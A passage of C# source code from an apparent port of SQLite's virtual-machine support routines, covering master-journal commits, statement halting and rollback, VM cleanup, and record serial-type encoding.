TEMP database) has a transaction active.   There is no need for the\n      ** master-journal.\n      **\n      ** If the return value of sqlite3BtreeGetFilename() is a zero length\n      ** string, it means the main database is :memory: or a temp file.  In\n      ** that case we do not support atomic multi-file commits, so use the\n      ** simple case then too.\n      */\n      if ( 0 == sqlite3Strlen30( sqlite3BtreeGetFilename( db.aDb[0].pBt ) )\n      || nTrans <= 1 )\n      {\n        for ( i = 0 ; rc == SQLITE_OK && i < db.nDb ; i++ )\n        {\n          Btree pBt = db.aDb[i].pBt;\n          if ( pBt != null )\n          {\n            rc = sqlite3BtreeCommitPhaseOne( pBt, null );\n          }\n        }\n\n        /* Do the commit only if all databases successfully complete phase 1.\n        ** If one of the BtreeCommitPhaseOne() calls fails, this indicates an\n        ** IO error while deleting or truncating a journal file. It is unlikely,\n        ** but could happen. In this case abandon processing and return the error.\n        */\n        for ( i = 0 ; rc == SQLITE_OK && i < db.nDb ; i++ )\n        {\n          Btree pBt = db.aDb[i].pBt;\n          if ( pBt != null )\n          {\n            rc = sqlite3BtreeCommitPhaseTwo( pBt );\n          }\n        }\n        if ( rc == SQLITE_OK )\n        {\n          sqlite3VtabCommit( db );\n        }\n      }\n\n          /* The complex case - There is a multi-file write-transaction active.\n          ** This requires a master journal file to ensure the transaction is\n          ** committed atomicly.\n          */\n#if ! SQLITE_OMIT_DISKIO\n      else\n      {\n        sqlite3_vfs pVfs = db.pVfs;\n        bool needSync = false;\n        string zMaster = \"\";   /* File-name for the master journal */\n        string zMainFile = sqlite3BtreeGetFilename( db.aDb[0].pBt );\n        sqlite3_file pMaster = null;\n        i64 offset = 0;\n        int res = 0;\n\n        /* Select a master journal file name */\n        do\n        {\n          i64 iRandom = 0;\n          //sqlite3DbFree(db,ref zMaster);\n          sqlite3_randomness( sizeof( u32 ), ref iRandom );//random.Length\n          zMaster = sqlite3MPrintf( db, \"%s-mj%08X\", zMainFile, iRandom & 0x7fffffff );\n          //if (!zMaster)\n          //{\n          //  return SQLITE_NOMEM;\n          //}\n          rc = sqlite3OsAccess( pVfs, zMaster, SQLITE_ACCESS_EXISTS, ref res );\n        } while ( rc == SQLITE_OK && res == 1 );\n        if ( rc == SQLITE_OK )\n        {\n          /* Open the master journal. */\n          rc = sqlite3OsOpenMalloc( ref pVfs, zMaster, ref pMaster,\n          SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE |\n          SQLITE_OPEN_EXCLUSIVE | SQLITE_OPEN_MASTER_JOURNAL, ref rc\n          );\n        } if ( rc != SQLITE_OK )\n        {\n          //sqlite3DbFree( db, ref zMaster );\n          return rc;\n        }\n\n        /* Write the name of each database file in the transaction into the new\n        ** master journal file. If an error occurs at this point close\n        ** and delete the master journal file. All the individual journal files\n        ** still have 'null' as the master journal pointer, so they will roll\n        ** back independently if a failure occurs.\n        */\n        for ( i = 0 ; i < db.nDb ; i++ )\n        {\n          Btree pBt = db.aDb[i].pBt;\n          if ( i == 1 ) continue;   /* Ignore the TEMP database */\n          if ( sqlite3BtreeIsInTrans( pBt ) )\n          {\n            string zFile = sqlite3BtreeGetJournalname( pBt );\n            if ( zFile[0] == 0 ) continue;  /* Ignore :memory: databases */\n            if ( !needSync && 0 == sqlite3BtreeSyncDisabled( pBt ) )\n            {\n              needSync = true;\n            }\n            rc = sqlite3OsWrite( pMaster, Encoding.UTF8.GetBytes( zFile ), sqlite3Strlen30( zFile ), offset );\n            offset += sqlite3Strlen30( zFile );\n            if ( rc != SQLITE_OK )\n            {\n              sqlite3OsCloseFree( pMaster );\n              sqlite3OsDelete( pVfs, zMaster, 0 );\n              //sqlite3DbFree( db, ref zMaster );\n              return rc;\n            }\n          }\n        }\n\n        /* Sync the master journal file. If the IOCAP_SEQUENTIAL device\n        ** flag is set this is not required.\n        */\n        if ( needSync\n        && 0 == ( sqlite3OsDeviceCharacteristics( pMaster ) & SQLITE_IOCAP_SEQUENTIAL )\n        && SQLITE_OK != ( rc = sqlite3OsSync( pMaster, SQLITE_SYNC_NORMAL ) )\n        )\n        {\n          sqlite3OsCloseFree( pMaster );\n          sqlite3OsDelete( pVfs, zMaster, 0 );\n          //sqlite3DbFree( db, ref zMaster );\n          return rc;\n        }\n\n        /* Sync all the db files involved in the transaction. The same call\n        ** sets the master journal pointer in each individual journal. If\n        ** an error occurs here, do not delete the master journal file.\n        **\n        ** If the error occurs during the first call to\n        ** sqlite3BtreeCommitPhaseOne(), then there is a chance that the\n        ** master journal file will be orphaned. But we cannot delete it,\n        ** in case the master journal file name was written into the journal\n        ** file before the failure occurred.\n        */\n        for ( i = 0 ; rc == SQLITE_OK && i < db.nDb ; i++ )\n        {\n          Btree pBt = db.aDb[i].pBt;\n          if ( pBt != null )\n          {\n            rc = sqlite3BtreeCommitPhaseOne( pBt, zMaster );\n          }\n        }\n        sqlite3OsCloseFree( pMaster );\n        if ( rc != SQLITE_OK )\n        {\n          //sqlite3DbFree( db, ref zMaster );\n          return rc;\n        }\n\n        /* Delete the master journal file. This commits the transaction. After\n        ** doing this the directory is synced again before any individual\n        ** transaction files are deleted.\n        */\n        rc = sqlite3OsDelete( pVfs, zMaster, 1 );\n        //sqlite3DbFree( db, ref zMaster );\n        if ( rc != 0 )\n        {\n          return rc;\n        }\n\n        /* All files and directories have already been synced, so the following\n        ** calls to sqlite3BtreeCommitPhaseTwo() are only closing files and\n        ** deleting or truncating journals. If something goes wrong while\n        ** this is happening we don't really care. The integrity of the\n        ** transaction is already guaranteed, but some stray 'cold' journals\n        ** may be lying around. Returning an error code won't help matters.\n        */\n#if SQLITE_TEST\n        disable_simulated_io_errors();\n#endif\n        sqlite3BeginBenignMalloc();\n        for ( i = 0 ; i < db.nDb ; i++ )\n        {\n          Btree pBt = db.aDb[i].pBt;\n          if ( pBt != null )\n          {\n            sqlite3BtreeCommitPhaseTwo( pBt );\n          }\n        }\n        sqlite3EndBenignMalloc();\n#if SQLITE_TEST\n        enable_simulated_io_errors();\n#endif\n        sqlite3VtabCommit( db );\n      }\n#endif\n\n      return rc;\n    }\n\n    /*\n    ** This routine checks that the sqlite3.activeVdbeCnt count variable\n    ** matches the number of vdbe's in the list sqlite3.pVdbe that are\n    ** currently active. An Debug.Assertion fails if the two counts do not match.\n    ** This is an internal self-check only - it is not an essential processing\n    ** step.\n    **\n    ** This is a no-op if NDEBUG is defined.\n    */\n#if !NDEBUG\n    static void checkActiveVdbeCnt( sqlite3 db )\n    {\n      Vdbe p;\n      int cnt = 0;\n      int nWrite = 0;\n      p = db.pVdbe;\n      while ( p != null )\n      {\n        if ( p.magic == VDBE_MAGIC_RUN && p.pc >= 0 )\n        {\n          cnt++;\n          if ( p.readOnly == false ) nWrite++;\n        }\n        p = p.pNext;\n      }\n      Debug.Assert( cnt == db.activeVdbeCnt );\n      Debug.Assert( nWrite == db.writeVdbeCnt );\n    }\n#else\n//#define checkActiveVdbeCnt(x)\nstatic void checkActiveVdbeCnt( sqlite3 db ){}\n#endif\n\n    /*\n** For every Btree that in database connection db which\n** has been modified, \"trip\" or invalidate each cursor in\n** that Btree might have been modified so that the cursor\n** can never be used again.  This happens when a rollback\n*** occurs.  We have to trip all the other cursors, even\n** cursor from other VMs in different database connections,\n** so that none of them try to use the data at which they\n** were pointing and which now may have been changed due\n** to the rollback.\n**\n** Remember that a rollback can delete tables complete and\n** reorder rootpages.  So it is not sufficient just to save\n** the state of the cursor.  We have to invalidate the cursor\n** so that it is never used again.\n*/\n    static void invalidateCursorsOnModifiedBtrees( sqlite3 db )\n    {\n      int i;\n      for ( i = 0 ; i < db.nDb ; i++ )\n      {\n        Btree p = db.aDb[i].pBt;\n        if ( p != null && sqlite3BtreeIsInTrans( p ) )\n        {\n          sqlite3BtreeTripAllCursors( p, SQLITE_ABORT );\n        }\n      }\n    }\n\n    /*\n    ** If the Vdbe passed as the first argument opened a statement-transaction,\n    ** close it now. Argument eOp must be either SAVEPOINT_ROLLBACK or\n    ** SAVEPOINT_RELEASE. If it is SAVEPOINT_ROLLBACK, then the statement\n    ** transaction is rolled back. If eOp is SAVEPOINT_RELEASE, then the\n    ** statement transaction is commtted.\n    **\n    ** If an IO error occurs, an SQLITE_IOERR_XXX error code is returned.\n    ** Otherwise SQLITE_OK.\n    */\n    static int sqlite3VdbeCloseStatement( Vdbe p, int eOp )\n    {\n      sqlite3 db = p.db;\n      int rc = SQLITE_OK;\n        /* If p->iStatement is greater than zero, then this Vdbe opened a \n        ** statement transaction that should be closed here. The only exception\n        ** is that an IO error may have occured, causing an emergency rollback.\n        ** In this case (db->nStatement==0), and there is nothing to do.\n        */\n        if ( db.nStatement !=0 && p.iStatement!=0 )\n        {\n          int i;\n        int iSavepoint = p.iStatement - 1;\n\n        Debug.Assert( eOp == SAVEPOINT_ROLLBACK || eOp == SAVEPOINT_RELEASE );\n        Debug.Assert( db.nStatement > 0 );\n        Debug.Assert( p.iStatement == ( db.nStatement + db.nSavepoint ) );\n\n        for ( i = 0 ; i < db.nDb ; i++ )\n        {\n          int rc2 = SQLITE_OK;\n          Btree pBt = db.aDb[i].pBt;\n          if ( pBt != null )\n          {\n            if ( eOp == SAVEPOINT_ROLLBACK )\n            {\n              rc2 = sqlite3BtreeSavepoint( pBt, SAVEPOINT_ROLLBACK, iSavepoint );\n            }\n            if ( rc2 == SQLITE_OK )\n            {\n              rc2 = sqlite3BtreeSavepoint( pBt, SAVEPOINT_RELEASE, iSavepoint );\n            }\n            if ( rc == SQLITE_OK )\n            {\n              rc = rc2;\n            }\n          }\n        }\n        db.nStatement--;\n        p.iStatement = 0;\n      }\n      return rc;\n    }\n\n    /*\n    ** If SQLite is compiled to support shared-cache mode and to be threadsafe,\n    ** this routine obtains the mutex associated with each BtShared structure\n    ** that may be accessed by the VM passed as an argument. In doing so it\n    ** sets the BtShared.db member of each of the BtShared structures, ensuring\n    ** that the correct busy-handler callback is invoked if required.\n    **\n    ** If SQLite is not threadsafe but does support shared-cache mode, then\n    ** sqlite3BtreeEnterAll() is invoked to set the BtShared.db variables\n    ** of all of BtShared structures accessible via the database handle\n    ** associated with the VM. Of course only a subset of these structures\n    ** will be accessed by the VM, and we could use Vdbe.btreeMask to figure\n    ** that subset out, but there is no advantage to doing so.\n    **\n    ** If SQLite is not threadsafe and does not support shared-cache mode, this\n    ** function is a no-op.\n    */\n#if !SQLITE_OMIT_SHARED_CACHE\nstatic void sqlite3VdbeMutexArrayEnter(Vdbe p){\n#if SQLITE_THREADSAFE\nsqlite3BtreeMutexArrayEnter(&p->aMutex);\n#else\nsqlite3BtreeEnterAll(p.db);\n#endif\n}\n#endif\n\n\n    /*\n** This routine is called the when a VDBE tries to halt.  If the VDBE\n** has made changes and is in autocommit mode, then commit those\n** changes.  If a rollback is needed, then do the rollback.\n**\n** This routine is the only way to move the state of a VM from\n** SQLITE_MAGIC_RUN to SQLITE_MAGIC_HALT.  It is harmless to\n** call this on a VM that is in the SQLITE_MAGIC_HALT state.\n**\n** Return an error code.  If the commit could not complete because of\n** lock contention, return SQLITE_BUSY.  If SQLITE_BUSY is returned, it\n** means the close did not happen and needs to be repeated.\n*/\n    static int sqlite3VdbeHalt( Vdbe p )\n    {\n      int rc;                         /* Used to store transient return codes */\n      sqlite3 db = p.db;\n\n      /* This function contains the logic that determines if a statement or\n      ** transaction will be committed or rolled back as a result of the\n      ** execution of this virtual machine.\n      **\n      ** If any of the following errors occur:\n      **\n      **     SQLITE_NOMEM\n      **     SQLITE_IOERR\n      **     SQLITE_FULL\n      **     SQLITE_INTERRUPT\n      **\n      ** Then the internal cache might have been left in an inconsistent\n      ** state.  We need to rollback the statement transaction, if there is\n      ** one, or the complete transaction if there is no statement transaction.\n      */\n\n      //if ( p.db.mallocFailed != 0 )\n      //{\n      //  p.rc = SQLITE_NOMEM;\n      //}\n      closeAllCursors( p );\n      if ( p.magic != VDBE_MAGIC_RUN )\n      {\n        return SQLITE_OK;\n      }\n      checkActiveVdbeCnt( db );\n\n      /* No commit or rollback needed if the program never started */\n      if ( p.pc >= 0 )\n      {\n        int mrc;   /* Primary error code from p.rc */\n        int eStatementOp = 0;\n        bool isSpecialError = false;            /* Set to true if a 'special' error */\n\n        /* Lock all btrees used by the statement */\n        sqlite3VdbeMutexArrayEnter( p );\n        /* Check for one of the special errors */\n        mrc = p.rc & 0xff;\n        Debug.Assert( p.rc != SQLITE_IOERR_BLOCKED );  /* This error no longer exists */\n        isSpecialError = mrc == SQLITE_NOMEM || mrc == SQLITE_IOERR\n        || mrc == SQLITE_INTERRUPT || mrc == SQLITE_FULL;\n        if ( isSpecialError )\n        {\n          /* If the query was read-only, we need do no rollback at all. Otherwise,\n          ** proceed with the special handling.\n          */\n          if ( !p.readOnly || mrc != SQLITE_INTERRUPT )\n          {\n            if ( ( mrc == SQLITE_NOMEM || mrc == SQLITE_FULL ) && p.usesStmtJournal )\n            {\n              eStatementOp = SAVEPOINT_ROLLBACK;\n            }\n            else\n            {\n              /* We are forced to roll back the active transaction. Before doing\n              ** so, abort any other statements this handle currently has active.\n              */\n              invalidateCursorsOnModifiedBtrees( db );\n              sqlite3RollbackAll( db );\n              sqlite3CloseSavepoints( db );\n              db.autoCommit = 1;\n            }\n          }\n        }\n\n        /* If the auto-commit flag is set and this is the only active writer\n        ** VM, then we do either a commit or rollback of the current transaction.\n        **\n        ** Note: This block also runs if one of the special errors handled\n        ** above has occurred.\n        */\n        if ( !sqlite3VtabInSync( db )\n        && db.autoCommit != 0\n        && db.writeVdbeCnt == ( ( p.readOnly == false ) ? 1 : 0 )\n        )\n        {\n          if ( p.rc == SQLITE_OK || ( p.errorAction == OE_Fail && !isSpecialError ) )\n          {\n            /* The auto-commit flag is true, and the vdbe program was\n            ** successful or hit an 'OR FAIL' constraint. This means a commit\n            ** is required.\n            */\n            rc = vdbeCommit( db, p );\n            if ( rc == SQLITE_BUSY )\n            {\n              sqlite3BtreeMutexArrayLeave( p.aMutex );\n              return SQLITE_BUSY;\n            }\n            else if ( rc != SQLITE_OK )\n            {\n              p.rc = rc;\n              sqlite3RollbackAll( db );\n            }\n            else\n            {\n              sqlite3CommitInternalChanges( db );\n            }\n          }\n          else\n          {\n            sqlite3RollbackAll( db );\n          }\n          db.nStatement = 0;\n        }\n        else if ( eStatementOp == 0 )\n        {\n          if ( p.rc == SQLITE_OK || p.errorAction == OE_Fail )\n          {\n            eStatementOp = SAVEPOINT_RELEASE;\n          }\n          else if ( p.errorAction == OE_Abort )\n          {\n            eStatementOp = SAVEPOINT_ROLLBACK;\n          }\n          else\n          {\n            invalidateCursorsOnModifiedBtrees( db );\n            sqlite3RollbackAll( db );\n            sqlite3CloseSavepoints( db );\n            db.autoCommit = 1;\n          }\n        }\n\n        /* If eStatementOp is non-zero, then a statement transaction needs to\n        ** be committed or rolled back. Call sqlite3VdbeCloseStatement() to\n        ** do so. If this operation returns an error, and the current statement\n        ** error code is SQLITE_OK or SQLITE_CONSTRAINT, then set the error\n        ** code to the new value.\n        */\n        if ( eStatementOp != 0 )\n        {\n          rc = sqlite3VdbeCloseStatement( p, eStatementOp );\n          if ( rc != 0 && ( p.rc == SQLITE_OK || p.rc == SQLITE_CONSTRAINT ) )\n          {\n            p.rc = rc;\n            //sqlite3DbFree(db, p.zErrMsg );\n            p.zErrMsg = null;\n          }\n        }\n\n        /* If this was an INSERT, UPDATE or DELETE and no statement transaction\n        ** has been rolled back, update the database connection change-counter.\n        */\n        if ( p.changeCntOn)\n        {\n          if ( eStatementOp != SAVEPOINT_ROLLBACK )\n          {\n            sqlite3VdbeSetChanges( db, p.nChange );\n          }\n          else\n          {\n            sqlite3VdbeSetChanges( db, 0 );\n          }\n          p.nChange = 0;\n        }\n\n        /* Rollback or commit any schema changes that occurred. */\n        if ( p.rc != SQLITE_OK && ( db.flags & SQLITE_InternChanges ) != 0 )\n        {\n          sqlite3ResetInternalSchema( db, 0 );\n          db.flags = ( db.flags | SQLITE_InternChanges );\n        }\n\n        /* Release the locks */\n        sqlite3BtreeMutexArrayLeave( p.aMutex );\n      }\n\n      /* We have successfully halted and closed the VM.  Record this fact. */\n      if ( p.pc >= 0 )\n      {\n        db.activeVdbeCnt--;\n        if ( !p.readOnly )\n        {\n          db.writeVdbeCnt--;\n        }\n        Debug.Assert( db.activeVdbeCnt >= db.writeVdbeCnt );\n      }\n      p.magic = VDBE_MAGIC_HALT;\n      checkActiveVdbeCnt( db );\n      //if ( p.db.mallocFailed != 0 )\n      //{\n      //  p.rc = SQLITE_NOMEM;\n      //}\n      /* If the auto-commit flag is set to true, then any locks that were held\n      ** by connection db have now been released. Call sqlite3ConnectionUnlocked()\n      ** to invoke any required unlock-notify callbacks.\n      */\n      if ( db.autoCommit != 0 )\n      {\n        sqlite3ConnectionUnlocked( db );\n      }\n\n      Debug.Assert( db.activeVdbeCnt > 0 || db.autoCommit == 0 || db.nStatement == 0 );\n      return SQLITE_OK;\n    }\n\n\n    /*\n    ** Each VDBE holds the result of the most recent sqlite3_step() call\n    ** in p.rc.  This routine sets that result back to SQLITE_OK.\n    */\n    static void sqlite3VdbeResetStepResult( Vdbe p )\n    {\n      p.rc = SQLITE_OK;\n    }\n\n    /*\n    ** Clean up a VDBE after execution but do not delete the VDBE just yet.\n    ** Write any error messages into pzErrMsg.  Return the result code.\n    **\n    ** After this routine is run, the VDBE should be ready to be executed\n    ** again.\n    **\n    ** To look at it another way, this routine resets the state of the\n    ** virtual machine from VDBE_MAGIC_RUN or VDBE_MAGIC_HALT back to\n    ** VDBE_MAGIC_INIT.\n    */\n    static int sqlite3VdbeReset( Vdbe p )\n    {\n      sqlite3 db;\n      db = p.db;\n\n      /* If the VM did not run to completion or if it encountered an\n      ** error, then it might not have been halted properly.  So halt\n      ** it now.\n      */\n      sqlite3SafetyOn( db );\n      sqlite3VdbeHalt( p );\n      sqlite3SafetyOff( db );\n\n      /* If the VDBE has be run even partially, then transfer the error code\n      ** and error message from the VDBE into the main database structure.  But\n      ** if the VDBE has just been set to run but has not actually executed any\n      ** instructions yet, leave the main database error information unchanged.\n      */\n      if ( p.pc >= 0 )\n      {\n        //if ( p.zErrMsg != 0 ) // Always exists under C#\n        {\n          sqlite3BeginBenignMalloc();\n          sqlite3ValueSetStr( db.pErr, -1, p.zErrMsg == null ? \"\" : p.zErrMsg, SQLITE_UTF8, SQLITE_TRANSIENT );\n          sqlite3EndBenignMalloc();\n          db.errCode = p.rc;\n          //sqlite3DbFree( db, ref p.zErrMsg );\n          p.zErrMsg = \"\";\n        }\n        //else if ( p.rc != 0 )\n        //{\n        //  sqlite3Error( db, p.rc, 0 );\n        //}\n        //else\n        //{\n        //  sqlite3Error( db, SQLITE_OK, 0 );\n        //}\n      }\n      else if ( p.rc != 0 && p.expired )\n      {\n        /* The expired flag was set on the VDBE before the first call\n        ** to sqlite3_step(). For consistency (since sqlite3_step() was\n        ** called), set the database error in this case as well.\n        */\n        sqlite3Error( db, p.rc, 0 );\n        sqlite3ValueSetStr( db.pErr, -1, p.zErrMsg, SQLITE_UTF8, SQLITE_TRANSIENT );\n        //sqlite3DbFree( db, ref p.zErrMsg );\n        p.zErrMsg = \"\";\n      }\n\n      /* Reclaim all memory used by the VDBE\n      */\n      Cleanup( p );\n\n      /* Save profiling information from this VDBE run.\n      */\n#if  VDBE_PROFILE && TODO\n{\nFILE *out = fopen(\"vdbe_profile.out\", \"a\");\nif( out ){\nint i;\nfprintf(out, \"---- \");\nfor(i=0; i<p.nOp; i++){\nfprintf(out, \"%02x\", p.aOp[i].opcode);\n}\nfprintf(out, \"\\n\");\nfor(i=0; i<p.nOp; i++){\nfprintf(out, \"%6d %10lld %8lld \",\np.aOp[i].cnt,\np.aOp[i].cycles,\np.aOp[i].cnt>0 ? p.aOp[i].cycles/p.aOp[i].cnt : 0\n);\nsqlite3VdbePrintOp(out, i, p.aOp[i]);\n}\nfclose(out);\n}\n}\n#endif\n      p.magic = VDBE_MAGIC_INIT;\n      return p.rc & db.errMask;\n    }\n\n    /*\n    ** Clean up and delete a VDBE after execution.  Return an integer which is\n    ** the result code.  Write any error message text into pzErrMsg.\n    */\n    static int sqlite3VdbeFinalize( Vdbe p )\n    {\n      int rc = SQLITE_OK;\n      if ( p.magic == VDBE_MAGIC_RUN || p.magic == VDBE_MAGIC_HALT )\n      {\n        rc = sqlite3VdbeReset( p );\n        Debug.Assert( ( rc & p.db.errMask ) == rc );\n      }\n      sqlite3VdbeDelete( ref p );\n      return rc;\n    }\n\n    /*\n    ** Call the destructor for each auxdata entry in pVdbeFunc for which\n    ** the corresponding bit in mask is clear.  Auxdata entries beyond 31\n    ** are always destroyed.  To destroy all auxdata entries, call this\n    ** routine with mask==0.\n    */\n    static void sqlite3VdbeDeleteAuxData( VdbeFunc pVdbeFunc, int mask )\n    {\n      int i;\n      for ( i = 0 ; i < pVdbeFunc.nAux ; i++ )\n      {\n        AuxData pAux = pVdbeFunc.apAux[i];\n        if ( ( i > 31 || ( mask & ( ( (u32)1 ) << i ) ) == 0 && pAux.pAux != null ) )\n        {\n          if ( pAux.xDelete != null )\n          {\n            pAux.xDelete( ref pAux.pAux );\n          }\n          pAux.pAux = null;\n        }\n      }\n    }\n\n    /*\n    ** Delete an entire VDBE.\n    */\n    static void sqlite3VdbeDelete( ref Vdbe p )\n    {\n      int i;\n      sqlite3 db;\n      if (NEVER( p == null )) return;\n      Cleanup( p );\n      db = p.db;\n      if ( p.pPrev != null )\n      {\n        p.pPrev.pNext = p.pNext;\n      }\n      else\n      {\n        Debug.Assert( db.pVdbe == p );\n        db.pVdbe = p.pNext;\n      }\n      if ( p.pNext != null )\n      {\n        p.pNext.pPrev = p.pPrev;\n      }\n      if ( p.aOp != null )\n      {\n        Op pOp;\n        for ( i = 0 ; i < p.nOp ; i++ )//pOp++)\n        {\n          pOp = p.aOp[i];\n          freeP4( db, pOp.p4type, pOp.p4type == P4_VDBEFUNC ? pOp.p4.pVdbeFunc : pOp.p4.pFunc );\n#if  SQLITE_DEBUG\n          //sqlite3DbFree( db, ref pOp.zComment );\n#endif\n        }\n      }\n      releaseMemArray( p.aVar, p.nVar );\n      //sqlite3DbFree( db, ref p.aLabel );\n      releaseMemArray( p.aColName, p.nResColumn * COLNAME_N );\n      //sqlite3DbFree( db, ref p.aColName );\n      //sqlite3DbFree( db, ref p.zSql );\n      p.magic = VDBE_MAGIC_DEAD;\n      //sqlite3DbFree( db, ref p.aOp );\n      //sqlite3DbFree( db, ref  p.pFree );\n      //sqlite3DbFree( db, ref  p );\n    }\n\n    /*\n    ** Make sure the cursor p is ready to read or write the row to which it\n    ** was last positioned.  Return an error code if an OOM fault or I/O error\n    ** prevents us from positioning the cursor to its correct position.\n    **\n    ** If a MoveTo operation is pending on the given cursor, then do that\n    ** MoveTo now.  If no move is pending, check to see if the row has been\n    ** deleted out from under the cursor and if it has, mark the row as\n    ** a NULL row.\n    **\n    ** If the cursor is already pointing to the correct row and that row has\n    ** not been deleted out from under the cursor, then this routine is a no-op.\n    */\n    static int sqlite3VdbeCursorMoveto( VdbeCursor p )\n    {\n      if ( p.deferredMoveto )\n      {\n        int res = 0; int rc;\n#if  SQLITE_TEST\n        //extern int sqlite3_search_count;\n#endif\n        Debug.Assert( p.isTable );\n        rc = sqlite3BtreeMovetoUnpacked( p.pCursor, null, p.movetoTarget, 0, ref res );\n        if ( rc != 0 ) return rc;\n        p.lastRowid = p.movetoTarget;\n        p.rowidIsValid = ALWAYS( res == 0 ) ? true : false;\n        if ( NEVER( res < 0 ) )\n        {\n          rc = sqlite3BtreeNext( p.pCursor, ref res );\n          if ( rc != 0 ) return rc;\n        }\n#if  SQLITE_TEST\n        sqlite3_search_count.iValue++;\n#endif\n        p.deferredMoveto = false;\n        p.cacheStatus = CACHE_STALE;\n      }\n      else if (ALWAYS( p.pCursor != null ))\n      {\n        int hasMoved = 0;\n        int rc = sqlite3BtreeCursorHasMoved( p.pCursor, ref hasMoved );\n        if ( rc != 0 ) return rc;\n        if ( hasMoved != 0 )\n        {\n          p.cacheStatus = CACHE_STALE;\n          p.nullRow = true;\n        }\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** The following functions:\n    **\n    ** sqlite3VdbeSerialType()\n    ** sqlite3VdbeSerialTypeLen()\n    ** sqlite3VdbeSerialLen()\n    ** sqlite3VdbeSerialPut()\n    ** sqlite3VdbeSerialGet()\n    **\n    ** encapsulate the code that serializes values for storage in SQLite\n    ** data and index records. Each serialized value consists of a\n    ** 'serial-type' and a blob of data. The serial type is an 8-byte unsigned\n    ** integer, stored as a varint.\n    **\n    ** In an SQLite index record, the serial type is stored directly before\n    ** the blob of data that it corresponds to. In a table record, all serial\n    ** types are stored at the start of the record, and the blobs of data at\n    ** the end. Hence these functions allow the caller to handle the\n    ** serial-type and data blob seperately.\n    **\n    ** The following table describes the various storage classes for data:\n    **\n    **   serial type        bytes of data      type\n    **   --------------     ---------------    ---------------\n    **      0                     0            NULL\n    **      1                     1            signed integer\n    **      2                     2            signed integer\n    **      3                     3            signed integer\n    **      4                     4            signed integer\n    **      5                     6            signed integer\n    **      6                     8            signed integer\n    **      7                     8            IEEE float\n    **      8                     0            Integer constant 0\n    **      9                     0            Integer constant 1\n    **     10,11                               reserved for expansion\n    **    N>=12 and even       (N-12)/2        BLOB\n    **    N>=13 and odd        (N-13)/2        text\n    **\n    ** The 8 and 9 types were added in 3.3.0, file format 4.  Prior versions\n    ** of SQLite will not understand those serial types.\n    */\n\n    /*\n    ** Return the serial-type for the value stored in pMem.\n    */\n    static u32 sqlite3VdbeSerialType( Mem pMem, int file_format )\n    {\n      int flags = pMem.flags;\n      int n;\n\n      if ( ( flags & MEM_Null ) != 0 )\n      {\n        return 0;\n      }\n      if ( ( flags & MEM_Int ) != 0 )\n      {\n        /* Figure out whether to use 1, 2, 4, 6 or 8 bytes. */\n        const i64 MAX_6BYTE = ( ( ( (i64)0x00008000 ) << 32 ) - 1 );\n        i64 i = pMem.u.i;\n        u64 u;\n        if ( file_format >= 4 && ( i & 1 ) == i )\n        {\n          return 8 + (u32)i;\n        }\n        u = (ulong)( i < 0 ? -i : i );\n        if ( u <= 127 ) return 1;\n        if ( u <= 32767 ) return 2;\n        if ( u <= 8388607 ) return 3;\n        if ( u <= 2147483647 ) return 4;\n        if ( u <= MAX_6BYTE ) return 5;\n        return 6;\n      }\n      if ( ( flags & MEM_Real ) != 0 )\n      {\n        return 7;\n      }\n      Debug.Assert( /* pMem.db.mallocFailed != 0 || */ ( flags & ( MEM_Str | MEM_Blob ) ) != 0 );\n      n = pMem.n;\n      if ((flags & MEM_Zero)!=0)\n      {\n        n += pMem.u.nZero;\n      }\n      else if ((flags & MEM_Blob) != 0)\n      {\n        n = pMem.zBLOB != null ? pMem.zBLOB.Length : pMem.z != null ? pMem.z.Length : 0;\n      }\n      else\n      {\n        if (pMem.z != null) n = Encoding.UTF8.GetByteCount(pMem.n < pMem.z.Length ? pMem.z.Substring(0, pMem.n) : pMem.z);\n        else n = pMem.zBLOB.Length;\n        pMem.n = n;\n      }\n\n      Debug.Assert( n >= 0 );\n      return (u32)( ( n * 2 ) + 12 + ( ( ( flags & MEM_Str ) != 0 ) ? 1 : 0 ) );\n    }\n\n    /*\n    ** Return the length of the data corresponding to the supplied serial-type.\n    */\n    static u32 sqlite3VdbeSerialTypeLen( u32 serial_type )\n    {\n      if ( serial_type >= 12 )\n      {\n        return (u32)( ( serial_type - 12 ) / 2 );\n      }\n      else\n      {\n        u32[] aSize = new u32[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0, 0, 0 };\n        return aSize[serial_type];\n      }\n    }\n\n    /*\n    ** If we are on an architecture with mixed-endian floating\n    ** points (ex: ARM7) then swap the lower 4 bytes with the\n    ** upper 4 bytes.  Return the result.\n    **\n    ** For most architectures, this is a no-op.\n    **\n    ** (later):  It is reported to me that the mixed-endian problem\n    ** on ARM7 is an issue with GCC, not with the ARM7 chip.  It seems\n    ** that early versions of GCC stored the two words of a 64-bit\n    ** float in the wrong order.  And that error has been propagated\n    ** ever since.  The blame is not necessarily with GCC, though.\n    ** GCC might have just copying the problem from a prior compiler.\n    ** I am also told that newer versions of GCC that follow a different\n    ** ABI get the byte order right.\n    **\n    ** Developers using SQLite on an ARM7 should compile and run their\n    ** application using -DSQLITE_DEBUG=1 at least once.  With DEBUG\n    ** enabled, some Debug.Asserts below will ensure that the byte order of\n    ** floating point values is correct.\n    **\n    ** (2007-08-30)  Frank van Vugt has studied this problem closely\n    ** and has send his findings to the SQLite developers.  Frank\n    ** writes that some Linux kernels offer floating point hardware\n    ** emulation that uses only 32-bit mantissas instead of a full\n    ** 48-bits as required by the IEEE standard.  (This is the\n    ** CONFIG_FPE_FASTFPE option.)  On such systems, floating point\n    ** byte swapping becomes very complicated.  To avoid problems,\n    ** the necessary byte swapping is carried out using a 64-bit integer\n    ** rather than a 64-bit float.  Frank assures us that the code here\n    ** works for him.  We, the developers, have no way to independently\n    ** verify this, but Frank seems to know what he is talking about\n    ** so we trust him.\n    */\n#if  SQLITE_MIXED_ENDIAN_64BIT_FLOAT\n//static u64 floatSwap(u64 in){\n//  union {\n//    u64 r;\n//    u32 i[2];\n//  } u;\n//  u32 t;\n\n//  u.r = in;\n//  t = u.i[0];\n//  u.i[0] = u.i[1];\n//  u.i[1] = t;\n//  return u.r;\n//}\n//# define swapMixedEndianFloat(X)  X = floatSwap(X)\n#else\n    //# define swapMixedEndianFloat(X)\n#endif\n\n    /*\n** Write the serialized data blob for the value stored in pMem into\n** buf. It is assumed that the caller has allocated sufficient space.\n** Return the number of bytes written.\n**\n** nBuf is the amount of space left in buf[].  nBuf must always be\n** large enough to hold the entire field.  Except, if the field is\n** a blob with a zero-filled tail, then buf[] might be just the right\n** size to hold everything except for the zero-filled tail.  If buf[]\n** 